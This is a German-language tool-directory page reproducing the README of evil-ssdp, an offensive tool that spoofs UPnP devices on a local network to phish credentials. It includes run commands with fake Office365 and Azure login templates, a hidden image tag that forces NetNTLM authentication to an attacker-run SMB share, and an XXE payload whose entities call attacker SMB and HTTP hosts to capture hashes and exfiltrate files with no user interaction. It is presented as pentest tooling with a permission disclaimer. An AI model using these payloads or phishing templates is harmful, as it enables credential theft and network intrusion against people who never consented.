Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
evil-ssdp — Fälschen von SSDP-Antworten und Erstellen gefälschter UPnP-Geräte, um nach Anmeldeinformationen zu phishen und NetNTLM-Challenge/Response zu nutzen. | Kitploit
Tools/GitHubGitHub/initstring/evil-ssdp
SchwachstellenanalyseExploitationIDS/IPS-UmgehungImpersonations-ToolsPhishingNetzwerksicherheitPenetrationstestsSocial EngineeringRed Teaming
GitHubinitstring/evil-ssdp

evil-ssdp

Fälschen von SSDP-Antworten und Erstellen gefälschter UPnP-Geräte, um nach Anmeldeinformationen zu phishen und NetNTLM-Challenge/Response zu nutzen.

441100vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

Übersicht

Dieses Tool reagiert auf SSDP-Multicast-Discovery-Anfragen und gibt sich als generisches UPNP-Gerät aus. Ihr gefälschtes Gerät erscheint wie durch Zauberei im Windows-Explorer auf Rechnern in Ihrem lokalen Netzwerk. Benutzer, die versucht sind, das Gerät zu öffnen, sehen eine konfigurierbare Phishing-Seite. Diese Seite kann ein verstecktes Bild über SMB laden, sodass Sie die NetNTLM-Challenge/Response erfassen oder weiterleiten können.

Es werden auch Vorlagen bereitgestellt, um Klartext-Anmeldeinformationen über die Basisauthentifizierung und Anmeldeformulare zu erfassen, und das Erstellen eigener benutzerdefinierter Vorlagen ist schnell und einfach.

Es sind keine vorhandenen Anmeldeinformationen zur Ausführung erforderlich, und es funktioniert sogar in Netzwerken, die durch Deaktivieren von NETBIOS und LLMNR vor Responder-Angriffen geschützt sind. Jedes Betriebssystem oder jede Anwendung, die SSDP/UPNP nutzt, kann angegriffen werden, aber die derzeitige Nutzung zielt hauptsächlich auf Windows 10 ab.

Video: Phishing-Übersicht

Als Bonus kann dieses Tool auch potenzielle Zero-Day-Schwachstellen in den XML-Parsing-Engines von Anwendungen erkennen und ausnutzen, die SSDP/UPNP verwenden. Wenn ein anfälliges Gerät gefunden wird, werden Sie in der Benutzeroberfläche alarmiert, und dann wird Ihre SMB-Freigabe bereitgestellt oder Daten werden OHNE BENUTZERINTERAKTION über einen XML-External-Entity-(XXE)-Angriff exfiltriert.

Video: 0-Day-Übersicht

Verwendung

Der einfachste Durchlauf sieht so aus:

root@kitploit:~
evil_ssdp.py eth0

Sie müssen mindestens die Netzwerkschnittstelle angeben. Die Schnittstelle wird sowohl für die UDP-SSDP-Interaktion als auch zum Hosten eines Webservers für die XML-Dateien und die Phishing-Seite verwendet.

Das Tool aktualisiert automatisch ein IMG-Tag in der Phishing-Seite mit der IP der von Ihnen angegebenen Schnittstelle. Für die Challenge/Response müssen Sie einen SMB-Server auf dieser Schnittstelle starten (wie Impacket). Diese Adresse kann mit der Option -s angepasst werden.

Einige Beispielszenarien:

root@kitploit:~
# Verwenden Sie wlan0 für Geräteankündigung und Phishing, erfassen Sie NetNTLM und
# fragen Sie nach Klartext über ein gefälschtes Office365-Anmeldeformular. Nach
# dem Erfassen der Anmeldeinformationen zu Microsoft umleiten:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'

# Wie oben, aber unter der Annahme, dass Ihr SMB-Server auf einer anderen IP läuft:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
    -s 192.168.1.205

# Zur Eingabe von Anmeldeinformationen mit Basisauthentifizierung auffordern und zu Azure umleiten:
evil_ssdp.py wlan0 -t microsoft-azure -u \
    'https://azure.microsoft.com/auth/signin/' -b

# Auf eine XXE-Schwachstelle hoffen, um NetNTLM zu erfassen, während Impacket/Responder auf wlan0 läuft:
evil_ssdp.py wlan0 -t xxe-smb

Vollständige Verwendungsdetails:

root@kitploit:~
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
                    [-u URL]
                    interface

positional arguments:
  interface             Network interface to listen on.

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  Port for HTTP server. Defaults to 8888.
  -t TEMPLATE, --template TEMPLATE
                        Name of a folder in the templates directory. Defaults
                        to "office365". This will determine xml and phishing
                        pages used.
  -s SMB, --smb SMB     IP address of your SMB server. Defalts to the primary
                        address of the "interface" provided.
  -b, --basic           Enable base64 authentication for templates and write
                        credentials to log file.
  -r REALM, --realm REALM
                        Realm when prompting target for authentication via
                        Basic Auth.
  -u URL, --url URL     Redirect to this URL. Works with templates that do a
                        POST for logon forms and with templates that include
                        the custom redirect JavaScript (see README for more
                        info).[example: -r https://google.com]
  -a, --analyze         Run in analyze mode. Will NOT respond to any SSDP
                        queries, but will still enable and run the web server
                        for testing.

Vorlagen

Die folgenden Vorlagen sind im Tool enthalten. Wenn Sie gute Designfähigkeiten haben, tragen Sie bitte eine eigene bei!

  • office365: Wird im Windows-Explorer als "Office365 Backups" angezeigt. Die Phishing-Seite sieht aus wie die Office365-Anmeldeseite und sendet die Anmeldeinformationen per POST an Sie zurück. Diese werden in der Benutzeroberfläche markiert und in der Logdatei protokolliert. Empfohlen wird die Ausführung mit '-u https://www.office.com', um Benutzer nach dem Diebstahl ihrer Anmeldeinformationen auf die legitime Site umzuleiten. Entwickler: pentestgeek.
  • scanner: Wird im Windows-Explorer als Scanner mit dem Namen "Corporate Scanner [3 NEUE SCANS WARTEN]" angezeigt. Ein Doppelklick führt zu einer generisch aussehenden Anmeldeseite. Diese Vorlage würde sich gut für die Anpassung an Ihr spezifisches Ziel eignen. Vorlage größtenteils kopiert von dieser Vorlage.
  • microsft-azure: Wird im Windows-Explorer als "Microsoft Azure Storage" angezeigt. Die Landeseite ist die Windows Live-Anmeldeseite, wenn Cookies deaktiviert sind. Empfohlen wird die Verwendung mit der Option -u, um Benutzer auf die echte Anmeldeseite umzuleiten. Entwickler: Dwight Hohnstein.
  • bitcoin: Wird im Windows-Explorer als "Bitcoin Wallet" angezeigt. Die Phishing-Seite enthält lediglich einen zufälligen Satz von Bitcoin-Privat/Public/Adress-Informationen. Es befinden sich keine tatsächlichen Guthaben in diesen Konten.
  • password-vault: Wird im Windows-Explorer als "IT Password Vault" angezeigt. Die Phishing-Seite enthält eine kurze Liste falscher Passwörter / SSH-Schlüssel usw.
  • xxe-smb: Wird wahrscheinlich nicht im Windows-Explorer angezeigt. Wird verwendet, um Zero-Day-Schwachstellen in XML-Parsern zu finden. Löst bei Treffern eine "XXE - VULN"-Warnung in der Benutzeroberfläche aus und versucht, Clients mit 0 Interaktion zur Authentifizierung beim SMB-Server zu zwingen.

Das Erstellen eigener Vorlagen ist einfach. Kopieren Sie einfach den Ordner einer vorhandenen Vorlage und bearbeiten Sie die folgenden Dateien:

  • device.xml: Hier definieren Sie, wie das Gerät im Windows-Explorer aussieht.
  • present.html: Dies ist die Phishing-Seite, die angezeigt wird, wenn ein Ziel das bösartige Gerät öffnet. Gestalten Sie hier alles, was Sie möchten. Beachten Sie, dass Pythons String-Vorlage dies parst, sodass Sie $$ anstelle von $ verwenden müssen, um der Vorlagenengine zu entkommen.
  • service.xml: Noch nicht implementiert. Wird möglicherweise für komplexeres UPNP-Spoofing in Zukunft benötigt.

Verwenden Sie in Ihrer Phishing-Seite (present.html) Variablen wie die folgenden für zusätzliche Funktionalität:

root@kitploit:~
# Die folgende Zeile initiiert eine NetNTLM-Challenge/Response unter Verwendung der IP-
# Adresse entweder der von Ihnen angegebenen Schnittstelle oder einer optional angegebenen IP-
# Adresse:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />

# Das Folgende nutzt die optional angegebene URL-Weiterleitung. Dies ist nützlich,
# wenn es mit Basisauthentifizierung verwendet wird, um zu einer gültigen Site umzuleiten. Diese
# Zeile ist in der microsoft-azure-Vorlage integriert:
    <script>
	    var url = "$redirectUrl";
    	    if (url != "") {
	    	document.location = url;
	    }
    </script>


# Wenn Sie ein HTTP-Formular zum Erfassen von Klartext-Anmeldeinformationen verwenden, verwenden Sie Code wie
# den folgenden. Außerdem unterstützt jede Vorlage, die eine POST-Anfrage durchführt, automatisch
# den Parameter '-u', um nach Abschluss des POST umzuleiten. Das Tool
# überwacht POST-Anfragen an diese URL auf Anmeldeinformationen:
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">

Das Tool erstellt derzeit nur korrekt Geräte für den UPNP-Gerätetyp 'Basic', obwohl es auf SSDP-Abfragen für alle Gerätetypen antwortet. Wenn Sie sich mit UPNP auskennen, können Sie eine neue Vorlage mit den richtigen Parametern erstellen, um Anfragen für andere Gerätetypen zu erfüllen. Es gibt hier noch viel zu erforschen, insbesondere die Ausnutzung spezifischer Anwendungen und die Art und Weise, wie sie UPNP-Geräte erwarten und nutzen.

Technische Details

Das Simple Service Discovery Protocol (SSDP) wird von Betriebssystemen (Windows, MacOS, Linux, IOS, Android usw.) und Anwendungen (Spotify, Youtube usw.) verwendet, um gemeinsam genutzte Geräte in einem lokalen Netzwerk zu erkennen. Es ist die Grundlage für die Erkennung und Ankündigung von Universal Plug & Play (UPNP)-Geräten.

Geräte, die versuchen, gemeinsam genutzte Netzwerkressourcen zu erkennen, senden ein UDP-Multicast an 239.255.255.250 auf Port 1900. Der Quellport ist zufällig. Eine Beispielanfrage sieht so aus:

root@kitploit:~
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3

Um mit diesem Host zu interagieren, müssen wir sowohl den Quellport als auch den 'ST'-Header (Service Type) erfassen. Die Antwort MUSS an den richtigen Quellport gesendet werden und SOLLTE den korrekten ST-Header enthalten. Beachten Sie, dass nicht nur das Windows-Betriebssystem nach Geräten sucht – das Scannen eines typischen Netzwerks zeigt eine große Anzahl von Anfragen von Anwendungen innerhalb des Betriebssystems (wie Spotify), Mobiltelefonen und anderen Mediengeräten. Windows spielt nur mit, wenn Sie mit dem richtigen ST antworten, andere Quellen sind nachsichtiger.

evil_ssdp extrahiert den angeforderten ST und sendet eine Antwort wie die folgende:

root@kitploit:~
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

Die Header (insbesondere LOCATION, 01-NLS, ST und USN) werden dynamisch konstruiert. Dies teilt dem Anforderer mit, wo er weitere Informationen über unser Gerät finden kann. Hier zwingen wir Windows (und andere Anforderer), auf unsere 'Device Descriptor'-XML-Datei zuzugreifen und sie zu parsen. Die USN ist nur eine zufällige Zeichenfolge und muss nur eindeutig und korrekt formatiert sein.

evil_ssdp zieht die Datei 'device.xml' aus dem gewählten Vorlagenordner und setzt dynamisch einige Variablen wie Ihre IP-Adresse ein. Diese 'Device Descriptor'-Datei ist der Ort, an dem Sie einige verlockend klingende Anzeigenamen und Beschreibungen anpassen können. Sie sieht so aus:

root@kitploit:~
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <URLBase>http://$local_ip:$local_port</URLBase>
  <device>
    <presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
    <deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
    <friendlyName>Office365 Backups</friendlyName>
    <modelDescription>Secure Storage for Office365</modelDescription>
    <manufacturer>MS Office</manufacturer>
    <modelName>Office 365 Backups</modelName>
    <UDN>$session_usn</UDN>
    <serviceList>
      <service>
        <serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
        <serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
        <controlURL>/ssdp/service-desc.xml</controlURL>
        <eventSubURL>/ssdp/service-desc.xml</eventSubURL>
        <SCPDURL>/ssdp/service-desc.xml</SCPDURL>
      </service>
    </serviceList>

  </device>
</root>

Eine entscheidende Zeile in dieser Datei enthält die 'Presentation URL'. Dies wird im Browser eines Benutzers geladen, wenn er sich entscheidet, das UPNP-Gerät manuell per Doppelklick zu öffnen. evil_ssdp hostet diese Datei automatisch (present.html aus dem gewählten Vorlagenordner) und setzt Ihre Quell-IP-Adresse in ein IMG-Tag ein, um auf eine SMB-Freigabe zuzugreifen, die Sie mit Tools wie Impacket, Responder oder Metasploit hosten können.

Das IMG-Tag sieht so aus:

root@kitploit:~
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>

Zero-Day-Jagd

Standardmäßig zwingt dieses Tool Geräte im Netzwerk im Wesentlichen dazu, eine XML-Datei zu parsen. Ein bekannter Angriff gegen Anwendungen, die XML parsen, existiert – XML External Entity Processing (XXE).

Diese Art von Angriff gegen UPNP-Geräte wird wahrscheinlich übersehen – einfach weil die Angriffsmethode komplex und nicht sofort ersichtlich ist. evil_ssdp macht es jedoch sehr einfach, auf anfällige Geräte in Ihrem Netzwerk zu testen. Führen Sie einfach das Tool aus und suchen Sie in der Ausgabe nach einem großen [XXE VULN!!!]. HINWEIS: Die Verwendung der xxe-Vorlage wird wahrscheinlich keine sichtbaren bösartigen Geräte im LAN hervorbringen, sie ist nur für Szenarien ohne Interaktion gedacht.

Dies wird erreicht, indem eine Device-Descriptor-XML-Datei mit folgendem Inhalt bereitgestellt wird:

root@kitploit:~
<?xml version="1.0"?>
<!DOCTYPE data [ 
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>

Wenn ein anfälliger XML-Parser diese Datei liest, wird er automatisch die SMB-Freigabe bereitstellen (sodass Sie den Hash knacken oder weiterleiten können) sowie auf eine HTTP-URL zugreifen, um Sie zu benachrichtigen, dass es entdeckt wurde. Die Benachrichtigung enthält die HTTP-Header und eine IP-Adresse, was Ihnen einige Informationen über die anfällige Anwendung geben sollte. Wenn Sie dies sehen, kontaktieren Sie bitte den Anbieter, um das Problem zu beheben. Außerdem würde ich mich sehr freuen, von etwaigen Zero-Days zu hören, die Sie mit dem Tool finden. Bitte erwähnen Sie das Tool in Ihrer CVE.

Danke

  • Danke an ZeWarren und sein Projekt hier. Ich habe dies ausgiebig genutzt, um die Grundlagen für SSDP zu verstehen.
  • Danke an den pentest geek und seine Phishing-Vorlagen hier. Ich habe die Office365-Anmeldeseite von dort verwendet.
  • Danke an Dwight Hohnstein für seine großartige Arbeit bei der Implementierung cooler Funktionen wie Basisauthentifizierung, Realm-Unterstützung und automatische Weiterleitung in evil_ssdp. Er hat freundlicherweise Code geschrieben und bereitgestellt, um dies zu ermöglichen.
  • Danke an die folgenden Leute für das Einreichen von Bugfixes:
    • Nadar, Ender Akbas, bubbleguuum

Auch danke an Microsoft für die Entwicklung vieler lustiger unsicherer Dinge, mit denen man spielen kann.

Dies ist ein Sicherheitsforschungs-Tool. Nur verwenden, wo ausdrückliche Erlaubnis des Netzwerkeigentümers erteilt wurde.

Tool herunterladen
  • xxe-exfil: Ein weiteres Beispiel für die Suche nach XXE-Schwachstellen, diesmal jedoch versucht, eine Testdatei von einem Windows-Host zu exfiltrieren. Natürlich können Sie dies anpassen, um nach der gewünschten Datei zu suchen, egal ob Windows oder Linux. Bei den anfälligen Anwendungen, die ich entdeckt habe, funktioniert die Exfiltration nur bei einer Datei ohne Leerzeichen oder Zeilenumbrüche. Dies liegt daran, wie sie in die URL einer GET-Anfrage eingefügt wird. Wenn Sie dies bei mehrzeiligen Dateien zum Laufen bringen, lassen Sie mich BITTE wissen, wie Sie es gemacht haben.